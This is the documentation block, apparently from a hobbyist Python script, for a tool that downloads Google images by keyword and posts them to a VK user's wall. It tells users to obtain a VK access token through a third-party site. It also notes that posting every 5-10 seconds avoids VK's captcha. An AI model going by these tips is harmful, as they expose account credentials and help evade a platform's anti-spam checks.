vk wall post

'''
DOCUMENTATION:

Version: 1.1
WHAT'S NEW: posting now stops until you press the 'Enter' key

This program downloads images from Google and then post it to someone's vk wall
To work with this script you must have your VK ACCESS TOKEN
You can get your token at this site: https://vkhost.github.io/
Just click "allow" and copy your token from the adress bar between "access_token=" and "&expires_in"
You should also have an id of the account on which wall you want to post images
Keyword MAY BE WRITTEN in Russian lang!!!

Incoming features:  a)login+password login
                    b)posting wall posts via login+password login
                    c)posting on group's wall


Be careful: 1)you should have a permission to post (check it before starting program)

            2)you must have those libraries:    a)google_images_download
                                                b)vk
                                                c)requests
            My tip for installation is to write in cmd this line: "pip install {name of the lib}"
            If you have problems with it: I strongly recommend to read a bit about "pip" and how to use it

            3)there is a bug in inputing a password: if you have mistaken -> rerun program,
            because now it's impossible to correct it

            4)before posting this script DOWNLOAD IMAGES ON YOUR OWN PC, so
            think twice before setting quantuty!!!

            5)That verse of program can't handle with Captcha and can't slow down the posting speed,
            so the maximum number of posts now is 10 [since verse 1.1 Captcha doesn't appear if you post
            images every ~5-10 seconds]
